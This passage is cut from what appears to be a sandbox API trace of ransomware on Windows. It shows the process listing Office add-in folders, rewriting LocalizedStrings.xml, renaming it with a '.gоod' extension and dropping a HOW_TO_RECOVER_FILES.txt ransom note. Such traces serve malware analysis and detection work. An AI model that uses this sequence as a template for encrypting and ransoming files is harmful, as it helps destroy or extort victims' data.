ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0266.446] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0266.446] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0266.446] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0266.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0266.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0266.446] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0266.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0266.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x38bbc60 | out: lpFileInformation=0x38bbc60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1 [0266.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0266.447] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0266.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0266.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0266.448] GetFileType (hFile=0x824) returned 0x1 [0266.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0266.448] GetFileType (hFile=0x824) returned 0x1 [0266.448] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0266.449] ReadFile (in: hFile=0x824, lpBuffer=0x38bc118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x38bc118*, lpNumberOfBytesRead=0x206ec9c8*=0x135, lpOverlapped=0x0) returned 1 [0266.450] CloseHandle (hObject=0x824) returned 1 [0266.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0266.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0266.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0266.450] GetFileType (hFile=0x824) returned 0x1 [0266.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0266.450] GetFileType (hFile=0x824) returned 0x1 [0266.450] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1135 [0266.450] WriteFile (in: hFile=0x824, lpBuffer=0x38bd580*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x38bd580*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0266.450] CloseHandle (hObject=0x824) returned 1 [0266.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0266.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0266.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0266.451] GetFileType (hFile=0x824) returned 0x1 [0266.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0266.451] GetFileType (hFile=0x824) returned 0x1 [0266.451] ReadFile (in: hFile=0x824, lpBuffer=0x38bf890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x38bf890*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0267.768] CloseHandle (hObject=0x824) returned 1 [0267.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0267.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0267.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0267.769] GetFileType (hFile=0x824) returned 0x1 [0267.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0267.769] GetFileType (hFile=0x824) returned 0x1 [0267.769] WriteFile (in: hFile=0x824, lpBuffer=0x3832c38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3832c38*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0267.769] CloseHandle (hObject=0x824) returned 1 [0267.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0267.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0267.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0267.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bd0ac93, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1145)) returned 1 [0267.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0267.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\localizedstrings.xml.gоod")) returned 1 [0267.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0267.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0267.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0267.772] GetFileType (hFile=0x824) returned 0x1 [0267.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0267.772] GetFileType (hFile=0x824) returned 0x1 [0267.773] WriteFile (in: hFile=0x824, lpBuffer=0x3c33f20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3c33f20*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0267.773] CloseHandle (hObject=0x824) returned 1 [0267.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0267.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he", lpFilePart=0x0) returned 0x51 [0267.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0267.774] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.774] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c895d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20aa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c62325, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c62325, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c62325, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38b7c4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38b7c4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a5b63a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb78613f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb78613f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb7d2609, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00af60a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf263c7d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0267.777] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0267.777] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0267.777] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0267.777] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0267.777] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.777] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0267.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0267.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0267.777] SetThreadErrorMode (dwNewMode=0x1, 